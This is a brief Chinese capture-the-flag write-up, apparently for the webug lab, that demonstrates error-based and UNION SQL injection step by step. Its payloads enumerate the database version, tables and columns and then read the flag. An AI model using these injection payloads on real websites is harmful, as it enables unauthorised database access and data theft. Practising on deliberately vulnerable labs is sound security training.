显错注入
加单引号报错可以看到SQL语句
url/manifest_error.php?id=1'
数字型报错注入
url/manifest_error.php?id=-1 order by 2%23
字段长度为2
联合注入查询版本
url/manifest_error.php?id=-1' union select 1,version()%23
查询当前数据库
url/manifest_error.php?id=-1' union select 1,database()%23
MYSQL存在information_schema,通过这个表查询webug里的信息
url/manifest_error.php?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='webug'%23
查询flag表里字段
url/manifest_error.php?id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='webug' and table_name='flag'%23
读取flag
url/manifest_error.php?id=-1' union select 1,group_concat(flag) from flag%23
提交flag
bingo~
结束语
中规中矩的基础报错注入,没有任何绕过也没有其他注入。
实战中一般不会暴露具体SQL语句,可以多构造多尝试来猜测该处的SQL语句的编写方式。